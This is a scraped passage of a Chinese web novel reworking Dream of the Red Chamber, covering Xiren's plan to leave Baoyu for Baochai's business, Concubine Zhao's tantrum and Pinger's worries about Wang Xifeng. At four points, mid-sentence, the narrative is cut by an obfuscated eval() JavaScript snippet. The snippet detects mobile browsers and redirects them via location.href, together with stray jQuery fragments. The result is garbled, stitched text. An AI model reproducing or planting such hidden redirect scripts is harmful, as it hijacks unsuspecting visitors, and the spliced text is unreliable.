;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019607|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问她想起什么好玩的,怎么好端端忽然发笑。 “林姐姐说得有理。我只是想起从前同小姑子们一处玩,那小姑子的师傅老姑子们一月里难得有几天在佛前做功课,竟是有大半时日是在挨家挨户地化缘。可见即便是佛祖跟前,那最能叫人大发慈悲的地方,想叫有钱人家年年月月定时定量大发善心也不容易呢。” 这话说得,一口气把姑子、寺庙和有钱人一并刻薄了去。 探春点着惜春说她调皮,谁知道惜春眨眨眼了,“还有更调皮的话,我还没说呢。” “还不快说来听听,叫我们瞧瞧如今你胆子是有多大。” “我是想,这庙里道观里的和尚尼姑和道士们虽然辛苦,可辛苦有辛苦的好处,他们的香火一年四季那般旺盛,若是能让我们抢了去,可不是什么问题都解决了?” 哎哟!听听!这是什么话! 黛玉几个笑得肚子痛,“好大的胆子,还没穿上官袍就打量着抢了人家的香火钱了!这以后了怎么得了啊!” 笑完了各自回各自的地方,黛玉就问薛姨妈,“如今朝廷开了女太医院,那宝姐姐的生意还是照旧吗?” “照旧,还是照旧。”薛姨妈不懂做生意,可听女儿说说还是听得明白的,“你姐姐都想好了,这女太医院是治病的地方,她们那养生馆就是没病的人去松快松快的地方。 有哪里不舒服了就让丫头给你按按。自己上门也行,要是懒得出门,也能把自家丫头送去细细学一学本事。 如今还有一桩生意,有些人家另外送了丫头去学照顾人的全套活计,为的就是自家姑娘以后嫁了人,怀孕生子都有懂的人全程伺候。再有就是,带个手巧的丫头,要是能把婆婆太婆婆的照顾舒服了,新媳妇日子也好过些不是。” 这倒是。黛玉一想也觉得这是条出路,毕竟只看府里就知道,有钱人家为了享受是什么钱都能花。男人能变着法花钱,这女人有了机会,肯定也舍不得亏待了自己。 倒是薛姨妈的话提醒了她,既然宝姐姐的养生馆里能收钱教大户人家的丫头,那可不可以不收拾,或者少收点钱,教那些家里不宽裕,可身子实在受折磨的人学一两个有用的法子照顾照顾自己呢? 黛玉这般问了宝钗,宝钗也直说可行。 “我观寻常人家多有受那偏方土方所害的,便是教不会人人都变成杏林圣手,可能叫更多人多听一两句日常用得着的医理,少听那些胡言乱语,便是大功德一件了。” 这边高高兴兴送走黛玉,那边宝钗屋子里又转出一个人来。 宝钗见她出来就笑,“我向来知道你是个稳重能干的,也总羡慕宝玉有你在身边照料,如今你愿跟了我,果真是我的福气。” 袭人浅浅一抿嘴,“姑娘说这话可是折煞我了。” “怎么就折煞了,这可都是我的心里话。”宝钗拉着袭人的手道,“你方才也听见了,往后咱们的事情还多着呢。不过眼下还不急,先等我把你正经讨了来再说。” 袭人心里忽的一痛,只是说出来的话却是:“……这也不是什么难事。” 宝钗心中难免一叹,想来宝玉最厌离别,可如今,不管是姐姐妹妹还是房中丫头,其实一个个都在渐渐离他远去。 38.宝钗再邀帮手 人与人之间的缘分就是很奇妙。 宝钗喜欢袭人处事稳重,明事懂事;袭人敬佩宝钗心胸开阔,知礼娴雅。 两人说不上一见如故,可也算知己知彼,两厢得宜。 远的不说,就在大半年前,两个人还暗暗支持彼此,希望日后能有机会长久相处。 “如今虽不同从前,可细细想想,却也不差什么。”宝钗拉着袭人坐下,不说那些伤心事,只谢袭人想着她,如今也愿意帮着她。 “你在这府里经历得多,什么麻烦的人啊事都见过,处置得也妥当。说句公道话,你的本事,任谁见了心里也要佩服。往后咱们出去了,见的人处的事只有比这府里更复杂的,有你帮我,我这心才能安些。” 袭人因此格外感激宝钗。 “也不瞒姑娘,我如今在这府里,可算是穷途末路了。”说着袭人便忍不住红了眼圈,有些心里话不能同外人说,可宝姑娘却是个可靠的,“总想着能有个长久依靠,奈何天不遂人愿……” 宝玉宝玉靠不住;太太太太靠不住;想了法子给家里传信,妈和哥哥的意思竟是已经看好了一家有钱老爷,等她前脚出了贾家的门,后脚就能去那老爷府上做正经娘子。 袭人原想,嫁人也是条出路,何况又不是身无分文的泥腿子,是正经有房有地的人家。 可再一追问,家里人才支支吾吾说那财主原不是什么正经本地财主。祖上不知哪里来的人,就他一个跟着戏班子进了京城,是得了贵人看重才有钱买房置地。这会子想娶个大户人家出来的丫头,也是想着这般出身的老婆知道帮着应付各家贵人。 竟是个戏子。 袭人听后腿一软,差点直接摔倒在地。 要是出去了只能跟个戏子,那她与其在这里费劲折腾,还不如老老实实在怡红院里当个缩头乌龟混碗饭吃。 见袭人不乐意,等着她带钱回去又挣聘礼的家里人自然不高兴,“我说你也老大不小了,就这还东挑西挑的,真以为还有多少好人家等着你不成?可要想清楚了,过了这村可就没这店!” 不管家里人怎么说,袭人就是不点头。 见她脾气这样硬,袭人亲妈和哥哥也无法,只能放放狠话,“你是个有主意的,以后的事就自己拿主意去,我们是管不了你了!” 想起当年家里吃不起饭,爹妈二话没说就把自己卖了出来的事情,袭人心一狠,“我自己的事当然由我自己拿主意,如今早不是你们替我说话的时候了。” 两边算是不欢而散。 家里指望不上,好歹还有湘云。湘云本也愿意让袭人跟着她,以后做个管事娘子。 而如今湘云跟着宝钗一起住,她又是个憋不住话的,知道宝钗可靠,便忍不住把这些事同宝钗这么那么一说。 听到袭人准备离开贾府,宝钗就忍不住想:我身边若是有这样能干的人,往后不管是家里事还是外边的事,也算有个可以托付的。 可湘云都已经同袭人约好了,宝钗不愿夺人所爱,只能把想法闷在心里。 谁知道湘云忽然又道:“宝姐姐,袭人那样细心周全的人,只跟着我换个宅子打转也算委屈了。你如今要张罗着生意,何不请了袭人去,她见识多,做事又勤勉,连账本也看得懂,更要紧的是心也向着你,必能帮得上你的忙,也免得你再去外面请人,被人合起伙来欺负你年轻不懂行。” 湘云主动推荐,宝钗才不好意思地告诉她自己早有这想法。 “我们竟是想到一处去了!”湘云欢喜得很,“那我这就去同袭人说,她必是愿意的!” 袭人确实愿意。 在内宅里伺候小姐少爷,撑破天去也就是个通房姨娘。可若是给宝姑娘的铺子干活,如今晴雯过的什么日子,日后她也能过。 于是宝钗一开口,袭人二话不说就应了下来。 两人商议已定,剩下的就是到时候讨人了。 “这也不难。”宝钗缓缓道,“依旧托云儿开口就好。老太太疼她,若她说怕自己嫁了人身边人手不够,想叫你去伺候,老太太必是应允的。” 至于离了贾家袭人到底去哪,那就不关贾家的事情了。 找好了出路,袭人才慢慢往怡红院走。一路上她脚步从容,寒风虽冷,心里却是安定的。 往日满心里的事,如今再看着白雪红梅之境,袭人才终于知道原来园子里是这般景色,难怪姑娘们都能做出那许多诗来。 她心想:若是我不必为生计发愁,也有许多闲情逸致,我怕是也提笔写上一两首白雪诗。 奈何奈何啊。 吹了一会儿风,袭人再回怡红院时,正好碰上宝玉也从外面回来。 “姐姐这是去哪了?”见袭人一双手都被吹红了,宝玉又赶忙替她捂起手来。 袭人只说去看宝钗,宝玉便笑,“还是姐姐细心周到。如今林妹妹和二姐姐、三妹妹还有四妹妹比往常更忙百倍,宝姐姐那里冷冷清清的,多亏了你想着她,能陪她解解闷。” 亲亲热热的样子,好像之前那些不愉快从来没有发生过一样,好像她们还是从前那般的好。 可是袭人知道,终究还是回不去了。 她抽出手,“这么冷的天还站在外边做什么?快进屋子吃杯热茶去去寒。” 宝玉就拉着袭人,让她别只说他,反而忘了自己。 进了屋子,暖香一熏,袭人又自动回到了从前这也操心,那也操心的样子。 忙着给宝玉换衣裳,忙着倒茶,忙着问晚上是在屋子里吃还是去老太太那,忙着关心前几日说做的冬衣可收进柜子里了…… 袭人在这忙着,宝玉就坐一边看着,时不时应两声,仔细一瞧,宝玉脸上的笑就没收起来过。 谁看了不说一句温情脉脉。 可忙完了回到自己屋子里,袭人一颗心仿佛又被这短短几步路给吹冷了。 她在心里对自己说:既然都要走了,那何苦还一直惦记着。须知此一时好不代表以后都能好,等哪天不好了,是个什么下场你也不是没经历过。 那些冷言冷语,冷哼白眼,虽然宝玉又跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028456|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她好起来后就渐渐消失不见了,可只要她还在这园子里,还在宝玉身边,以后就总有再尝一遍的时候。 她不要再过这样的日子了。 袭人是铁了心要走,可从前的情谊也不是一口气就能全部勾销的。 认真起来说,宝玉实在是个很好的主子,好伺候,也从来不欺负下人,对丫头们耐心又体贴,比起府里其他男人不知道强出去多少。 于是在这最后时日里,袭人就当什么都没发生一样,还是认认真真地当差。 只是她盼着能安生度过在园子里最后这段日子,偏偏其他人总要闹些事出来。 几个姑娘带着大丫头出门当差,剩下的奶妈和小丫头们就安安静静留下看家。按说园子里少了人总该寂寞些才是,可没有,一点没有! 吵嘴的,丢了东西的,菜不合心意的,份例衣裳短了两寸的,一天到晚都是事。 闹到大奶奶那去,可大奶奶只说一句“知道了”,别的话就再也没有了。 再问怎么处置,大奶奶身边的大丫头也只说会告诉园子里的管家女人们,“摔坏了盘子,该扣月钱的扣月钱”,“丢了镯子,该找东西的找东西”,“菜不合口味,可小厨房原本是为了主子们开的,谁规定了还得伺候丫头们吃得好不好?”,“衣裳短了,那也没法子,做都做好了,先将就着穿一季吧,唉,小丫头们到了抽条的时候就是这样麻烦,实在不行拿了钱到外面另做吧……” 总之老太太和太太们都忙着给去了的老太妃守灵呢,二奶奶又躺着不出门,家里事没人管,先这么凑活着过吧,等太太腾出手来必能一一料理清楚的。 一开始时,袭人只觉得老虎不在家,猴子称霸王,老太太太太顾不上,小鬼们难免一个个放松起来,随意起来,抖了起来。 可很快她便察觉到更多的不对劲。 怡红院里,架子上的杯子碟子花瓶倒还好,可宝玉卧房里的那些小物件,发带上的珍珠、腰带上的玛瑙、带过一两回的玉佩、随手放在桌上的扇子……忽然哪天想起来的时候就找不见了。 只是怡红院里从来不缺东西使,于是谁也没注意。袭人暗自留心,可逮着无人的机会一通翻箱倒柜,东西没影子不说,又叫她发现零散放着平时赏人用的碎银子少了小半箱。 她如今也慢慢脱手,好些事不亲自干了。本以为如今宝玉身边一群人围着,定比自己从前一个人事事都扛更强些,谁知道会乱成这个样子。 心里觉得不对劲,袭人便越发留意别的地方。 这样一看,原来总是提前到的饭菜如今也迟了。宝玉的饭菜自然无人敢怠慢,可下面丫头们的,分量也少了,花样也不如从前多了。 拿去问小厨房,厨房里的人也有道理:“去去去,没听见大奶奶说嘛,这小厨房是伺候主子们的,你一个丫头有得吃就不错了,还使唤着我们点起菜来了!” 这吃不好,自然有人就要干不好活计。 袭人暗自担心,“如今这是怎么了?好好的园子,怎么一日日眼看着就破败了?” 39.袭人怒当甩手掌柜 袭人觉得大观园哪哪都不对劲。 地上的落叶多了也罢了,冷风一吹便一阵一阵地掉,稀里哗啦的,非得拿个人守在这树底下才能忙活得过来。 若只是叶子倒也算了,可这地上怎么连冰都没有铲干净? 袭人到底看不过眼,走了好远的路去叫了园子里负责洒扫的婆子,“边边角角也就算了,连大门口到怡红院的路也不打扫干净?天气冷,在屋子里烤火也是应该的,却不想想要是跌了人怎么办。我们年轻些倒也无妨,要是叫老太太太太看见了,那可怎么好?” 谁知道几个婆子照旧打牌,连头也不抬一下,“好姑娘,都说你心细体贴人,你也听听,外面风刮得这样紧,再叫我们出去干活,怕不是要冷死个人啊!” “就是。那地上的冰是我们铲了就干净的?这会子铲了,用不了多少时候就又结上了。况且这鬼天气谁还在外面晃荡,我劝姑娘还是早些回去,也少操那些闲心。” 眼看搬出老太太和太太来都镇服不了这群婆子,袭人也是无话可说。 她无奈只好往回走,心里却忽然想到,从前自己何时受过这般冷落,果然是今时不同往日。这些人看碟下菜,是知道自己地位不如从前了才这般敷衍了事。 地上着实滑得很。 袭人一边小心扶着门跨过怡红院的门槛,一边不禁嘀咕,“若是真摔了哪个主子,那才有好戏看了。” 谁知袭人自然自语的话音刚落,风一样跟在她后头卷进门的赵姨娘就扑通一声坐在地上。 “反了反了!你们这群小蹄子是真的反了,这么大片冰不铲,故意等着害人呢!今儿太太不在家,我该是来好好教教你们什么是规矩!” 赵姨娘说着就抄起门边的扫帚对着院子边翻花绳的小丫头们穷追猛打去。 小丫头们原本还坐在廊下看赵姨娘的笑话,此时见她张牙舞爪地扑过来,更是笑得跟什么似的,嘻嘻哈哈一下子散开。 赵姨娘扑了个空,反而自己又滑了一跤。 “哎哟!可疼死我了!” 赵姨娘越发气急败坏,挣扎着从地上爬起来,抓着扫帚继续胡乱扑人。 “哎,在这呢!” “不是不是,是在这呢!” 可小丫头们才不怕她,躲在柱子后头、花圃后头、大树后头,隔一会儿便冒头出来招惹两句,等赵姨娘扑过去又立刻重闪身一躲。 “哈哈哈哈哈!够不着!” 这边不停在招惹,旁边还有加油助威大声吆喝的。 袭人看了好一阵子也没看懂赵姨娘这又是在发哪门子的脾气?可不管怎么说,赵姨娘也是府里半个主子,更何况还有三姑娘的面子,哪里能由着小丫头们在怡红院里把她当个小狗似的溜来溜去。 “姨娘这是怎么了?有什么话您老人家同我说,隔壁跟不懂事的小丫头们一般计较。” 袭人本想先夺了赵姨娘手里的扫帚,可谁知道今儿不卖她面子的人还不止门房里的老婆子们。 “呸!”赵姨娘可不是什么娇滴滴的小姑娘了,一柄扫帚舞得虎虎生风,看也不看,直接对着袭人就来了一下。 “我在这里教训丫头,哪有你说话的份!”赵姨娘指着袭人就骂,“都说上梁不正下梁歪,这院里的丫头一个个的都不把主子放在眼里,我看呐,就是你起的头!” 袭人一时不防被打翻在地,胳膊撑地时便只觉得一阵钝痛。 她一时回不过神来跟赵姨娘说话,于是赵姨娘越发得意起来。 “你往日里仗着宝玉喜欢,姿态摆得比谁都高,眼里再看不见别人。这些小丫头们跟着你有样学样,如今也敢作践起我的环儿了!” 赵姨娘本是想来收拾随手拿茉莉粉哄了她儿子的芳官,谁知芳官滑头,怎么打也打不着。她人正在气头上,偏巧袭人又撞上来,于是正好拿袭人出气。 “姨娘这话我可不敢当。”袭人挣扎着爬起来,胳膊虽痛,可心里惦记的却还是别叫赵姨娘把事情闹得收不了场。 于是她忍着痛继续好声劝道:“也不知道小丫头们是怎么冲撞了三爷,许是有误会也说不定。还请您老人家息怒,咱们进屋去慢慢说,把误会解开了也就好了。” “误会!说了要蔷薇硝,却装了茉莉粉,这是骗咱们不识货,还是心里就没咱们这个主子?!”赵姨娘不依不饶,心里想的就是要大闹一场,好让人知道她的厉害!以后也都看看她的脸色! 袭人起初还好言相劝,可见赵姨娘不依不饶,心里就回过味儿来,知道赵姨娘是故意趁老太太和太太不在家,跑园子里来都抖威风了。 人家是姨娘,她只是个丫头。 身份摆在这里,便是有理也要变没理。 更麻烦的是宝玉不知又跑哪里去了,外面闹腾了这半天也不见屋子里来个人帮帮忙。一个二个许是都躲在门后看她笑话呢。 这边赵姨娘打不着小丫头,只能揪着袭人不放,“都说你是个体贴的,今儿也来体贴体贴咱们!那茉莉粉的事你怎么说?这小丫头张狂,又该是怎么个教训法?你说话啊!” 说说说!说什么说!有什么好说的! 说到底,管她什么事情! 袭人忽然心头火起,一把推开了赵姨娘,她也冷笑一声,“冤有头,债有主。谁惹了您老人家,您自己找她说理去,在这里拉扯着我不放算什么本事!” 说完袭人便头也不回地撇开一院子的人回了自己屋子。门一关,外头爱怎么吵怎么吵,爱怎么打怎么打,房顶打塌了也还有个子高的顶着呢! 她都是要离府的人了,再忍气吞声受这些闲气做什么! 赵姨娘没料到袭人竟然说走就走,这人都走了,她还跟谁唱戏去? 可心里憋着的气还没出完呢。正好院子里站着看热闹的小丫头们又叽叽喳喳地笑起来,赵姨娘便认定了她们是在笑自己。 本就有仇,这会儿又被笑,赵姨娘干脆抓着扫帚方向一转,继续追打小丫头们。 一时间怡红院里简直比戏台子上还热闹。 到底有大丫头看不下去,“就这样闹下去也不成样子,咱们还是出去劝劝吧。” 有人不干,“咱们去劝有什么用?没看到连袭人都被打回去了。” 可就这么干坐着也不行啊! 倒不是怕赵姨娘真把小丫头们打着了,是怕小丫头们毕竟人多势众,要是真恼了,反过来把赵姨娘锤了可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044874|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么是好? 太太那里还好说,真要是叫老爷瞧见了,那可就捅大篓子了! 左思右想,有机灵的人干脆跑去找李纨。 可李纨会理会这些事就怪了。 稻香村里搬不动救兵,凤姐那儿自己闭门不出,连带着平儿有心帮忙,可也名不正言不顺。 转来转去,这个大丫头终于找到了秋爽斋里探春身边的奶妈,“您老人家面子大,好歹去劝劝姨娘,不说别的,好歹想想三姑娘的脸面。” 奶妈一想是这个道理。 这三姑娘才当了官,还没加官进爵呢亲妈就在家里大吼大闹不尊重,这要是让言官知道了,赶明儿早朝金銮殿上参上一本,岂不是要断了三姑娘的大好前程! 这可万万使不得! 这些想法要是叫旁人知道了,必定是要要笑掉大牙的。可这奶妈嘴紧,生怕祸从口出,于是一句多的也没有,当下就跟着人去怡红院了。 能托付孩子的交情,这奶妈也算是赵姨娘十分信得过的人。 她好言好语相劝,又搬出探春和贾环来,让赵姨娘骂骂小丫头也罢,别真把人打坏了,倒是叫宝玉没脸,这叫宝玉没脸,岂不是就惹了老太太和太太?! 惹了老太太和太太,那便是老爷来了也不顶用啊! 赵姨娘别的事糊涂,可靠着谁吃饭还是明白的。于是心里也生了退意,面上又狠狠骂了小丫头们几句,到底扔下扫帚跟奶妈去秋爽斋吃茶去了。 等探春跟姊妹们干完一天的差事,回院子一看,“哎,姨娘也在。” 能看到亲妈总是叫人高兴的,探春笑盈盈地走上前,“姨娘等了多久?我回来得晚了,姨娘怕是等无聊了。” 赵姨娘看女儿一身官袍,整个人又气派又大方,整个人眼里心里都欢喜得不行。 “我等我亲姑娘,这有什么不耐烦的。快来叫姨娘好好看看,哎哟喂!好厉害!好姑娘,这衣裳正衬你呢!我瞧着简直跟老爷的官袍也不差什么了!” 探春一下子就笑了,“老爷是五品,我只不过小小七品,可不敢跟老爷比呢。” 赵姨娘跟奶妈两个人畅想了半下午她们姑娘以后要如何如何厉害,最好一年一升,当个开天辟地地女宰相! 到时候全天下达官贵人家的妙龄少年都要排着队让她们挑!那什么书院人家,简直看都不配让她们看一眼! 还有这府邸,到时候什么琏二宝玉,一堆子二货她们甩都不甩! 心里怀着殷殷期盼,赵姨娘说起话来便格外动听。 “好姑娘,老爷闲散惯了,你不一样啊!你比你老爷还强,是个姑娘又怎么样,你心里要有志气,使劲干,以后总有你出头的!” 这话也算是说道探春心坎里了,她点点头,“我知道,姨娘放心就是。” “你心里有数才好。”说到这,赵姨娘顿了顿,还是凑到女儿耳边悄声道,“也不知道你留心没有,反正我跟在老爷太太身边也听了些事,这府里不比从前了,二姑娘还能赶着时间体面嫁人,轮到你……唉,也不知道是个什么境况。” 探春面不改色,“姨娘且宽心,我若真有出息,这天底下男儿还不是要排着队等我挑。” 40.平儿委婉劝凤姐 白露只觉得自己的日子是越过越忙。 一开始跟林老板约定的是在他去后帮忙照看两个孩子成人。 带孩子嘛,虽然她不是什么师范专业毕业的,可府里奶妈丫头一群人,再加上两个小朋友也是乖巧懂事的,所以并不觉得有什么麻烦。 后来出于好心开始给人扎针,虽然客户们都体谅她孤儿寡母不容易,可毕竟是人命关天的事,不小心是不行的。 虽然有系统,系统能把从看病确诊到治疗全流程都包办了。可知识和技术一日不掌握在自己手里,白露就一日无法真正安心。 所以每天看似只治疗一两个病人,可回到家里,白露几乎每天都要挑灯夜读,跟着系统自学医术到大半夜。 唉!本以为是换了个地方能够躺平的,谁知道是换了个地方来学老中医了。 学吧,真是学无止境啊。 原本这就已经够累的了,现在又接手了女太医院。如今从看病治疗到医女培训,从收支把控到人员管理,大事小事都要她最后来拿主意。 简直是一线到管理一肩挑,白露自己都觉得自己强得可怕。 工作和学习已经占据了大部分精力,难得有点闲暇时间,白露还得出门交际。 毕竟过完年,迎春的婚事流程就走起来了。 管家的事情找到凤姐,凤姐就病着。可轮到迎春的婚事,凤姐就那么巧,忽然又有些精神了! 这样挑着时机才露脸的事情少不得被贾府上下要嘀咕一句偷奸耍滑,说凤姐只想着在红白大事上出风头,使手段,寻常辛苦琐碎的事情上就缩头躲了。 当着贾母的面儿,尤氏便是这样打趣凤姐的。 可凤姐如今岂会在乎别人怎么说。 她大大方方就承认了如今自己精力不济,“……今时不同往日,便是老太太和太太信我,把这家事托付给我,我也接不住。可小姑子的婚事多要紧?便是咬着牙,我也得从床上爬起来,否则岂不是对不住咱们姑嫂之间的情分?” 显得自己多有情有义一样,尤氏差点没憋住嫌弃的表情,直接翻个白眼出来。 按说这都是贾家自己的事情,跟白露没什么关系。可凤姐也不知道是怎么想的,时不时的就让平儿出来找她商量些事情。 一次两次也就罢了,白露只当是凤姐细心,想打听打听亲家家里人脾气喜好以及如今外头嫁女儿行情,方便准备着亲家喜欢的东西,好帮迎春去了能先跟家里人处好关系。 可次数多了,白露就觉得有些不对劲。她干脆直接问平儿,“你主子这又是想干什么呢?隔三差五地就让你往外头跑,总不能是想趁着迎春的亲事,偷摸着把你家府里搬空吧?” 说得平儿都忍不住笑了,“好太太,如今旁人都笑我家奶奶不像从前那样能干了,明里暗里等着看她笑话,就你还信她有把府里搬空的本事。” 说到这里,平儿都忍不住叹气,“也不怕太太不信,如今府里还有什么值得往外头搬的。” 这也不是什么好说的事,平儿略提了一嘴就停下了,转而悄悄对白露说道:“我们奶奶是有另外的要紧事,所以特地找了由头叫我出来探探虚实的。” 神神秘秘的样子,白露来了兴趣,“什么要紧事?能说你就说来听听,要是事涉机密,那咱们就当没提起过。” “这事不能让府里人知道,告诉太太却是无妨。”平儿就直说了,“还不是我们家二爷那点事,往日也没少胡闹胡来,先前大老爷赏了人也不过是安分了一两个月罢了,可这几月不知怎么的,又开始三天五日的不着家,只说外面忙,各个府里要交际应酬。” 白露就奇怪了,“若说忙着交际应酬,也该是最近这十来天的事情。之前朝廷忙着老太妃的身后事,连带着京城里婚丧嫁娶吃喝玩乐一概听停了,你家二爷是忙着跟哪门子神仙应酬呢?” “可不正是这话!”平儿跟在凤姐身边,一天到晚听的事不知有多少,大概是一个人闷的狠了,这会碰上白露,简直恨不得把一肚子能倒的八卦全都倒出来。 “便是没有老太妃的事,还有东府里去了的敬老爷。阖家上下都为那边忙着,一开始奶奶也以为二爷是忙着招待来送丧的亲友们。可敬老爷的事都了结了,本以为二爷能闲下来多顾顾家里,谁知道她竟比之前更忙了百倍,最厉害的一次是连着小半月都不见人影了!” 别的男人不好说,可碰上贾琏,白露就要忍不住问一句,“别是在外面有人了?” 等等?这个时间点……白露恍然大悟,是真有人了! “我们奶奶也是这么想的!”平儿看着白露,一脸碰上知音的表情,“可府里人到底是姓贾的,平日里千好万好,碰上这样的事,到底也只有护着二爷的。奶奶信不过她们,所以才叫我趁着机会出来走动走动,亲眼探探虚实,看看究竟是怎么一回事。” 一想到尤二姐,白露赶紧追问:“那你可真探听到什么了?” 平儿一脸气愤,“亏得我们奶奶还在家里操心着二爷亲妹子的婚事,可二爷人呢!拿着家里的钱在外头养着人,也不问问我们奶奶辛不辛苦累不累,竟然是打着等她病得无力回天就把人接回家里扶正的主意!” 说着说着,平儿就忍不住流下泪来,“旁人都说我们奶奶管二爷管的严,可正论起来,她也不过是嘴上说说,实际何曾真的把二爷拴在屋子里不让出门了? 况且我们奶奶又是孝顺老太太太太们,又是照顾大姐儿,又是操心小姑子的终身大事,又是百般地想法子拿了自己的嫁妆凑银子来支应家里,桩桩件件,何曾有对不起二爷的? 不过是脾气烈些,没能事事顺二爷心意,便被百般挑剔,各种嫌弃,真是有冤没处说。” 白露也跟着叹气,一起批评了贾琏这种边吃软饭边砸锅的恶劣行为。 “那你们奶奶是怎么打算的?”白露心知按原著剧情,凤姐是必要把尤二姐骗进贾府去弄死了才甘心的。 平儿果然一脸为难,“我们奶奶是被伤透了心……太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086419|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太也知道她的性子,最是受不得委屈……” 吞吞吐吐,犹犹豫豫,平儿还是说了,“我们奶奶只说自己心里有计较,可依我看,她必是要出了这口恶气的,只不过如今看在二姑娘的面子上暂时先忍一时罢了。” 平儿心里向着凤姐,可也知道她是真下得去手。虽然气愤贾琏无情,却到底不忍看着凤姐真狠心要了人性命。 “太太跟我们奶奶好一场,还请太太也劝劝我们奶奶。”平儿小心请求道,“不说其她,便是看在大姐儿的份上,为大姐儿积福,也别做得太过了……” 又或许,她心里还是期待着凤姐和贾琏不要真的把关系弄到无法回头的地步。 白露心想,平儿真是一个很好很好的人,即便自己的处境也艰难,可依然愿意为她人着想,而不是将自己受的气转而出到别人身上去。 “我明白了。”白露温温柔柔地说道,“我也不知道你家奶奶到底听不听得进我说的话,可你放心,我必定好好劝她。” 至于怎么劝?像平儿说的那些积德的话八成是劝不动凤姐的,她天不怕地不怕,又岂会在乎鬼神之说? 还是得想想别的办法。 好在如今凤姐先忙着迎春的事,暂时腾不出空来,所以白露还有准备的机会。 而如今大户人家的儿女婚事可不是那么轻易就能走完流程的。 从开春准备到深秋,总算走完了六礼,至于真正的婚礼还要等到再来年的春天。 春天啊,也正应了迎春的名字。在万物新生的时节,走向与原著不同的新生。 这年冬至的时候,白露在家里招待朋友们涮羊肉。来的人有晴雯,还有薛姨妈、宝钗、香菱和袭人。 却说晴雯和袭人两个。袭人当初暗暗视晴雯为大敌,虽聪明地没有直接在王夫人那里点名道姓地说晴雯如何如何,可言语中不乏暗示,也因此勾起了王夫人的紧张,进而借婆子们对晴雯的不满而促使王夫人直接将她撵了出去。 谁知道晴雯虽一朝离去,可笑造化弄人,袭人自己又夹在贾母和王夫人之间进退不得,前思后想,只能另谋出路。 后来袭人跟着宝钗一起搬出贾府,在宝钗挨着女太医院开的养生茶庄里当管事,偶然之间又碰到了晴雯。 今日难得坐下来一起吃饭,袭人就先给晴雯敬酒,“从前是我心眼小,对不住你。其实细想起来,倒是该像你这样,打小苦练一门手艺才是立身的根本。” 晴雯仰头喝了酒,算是接下袭人的道歉,接着又重新倒了一杯,举起来对袭人道:“其实我也有许多不好的地方。以前只顾自己痛快,半点不把其她人放在眼里,平白无故说了许多混账话,伤了许多人心,落到当初那样的下场也算是自作自受。如今见了更多的人,才明白其实各人有各人的难处,我便是学不来你能跟大家都处好关系,也该学着管好我这张嘴才是。” 两人久别重逢,又已经历一番世间历练,倒也能放下过往,反而理解彼此,相逢一笑了。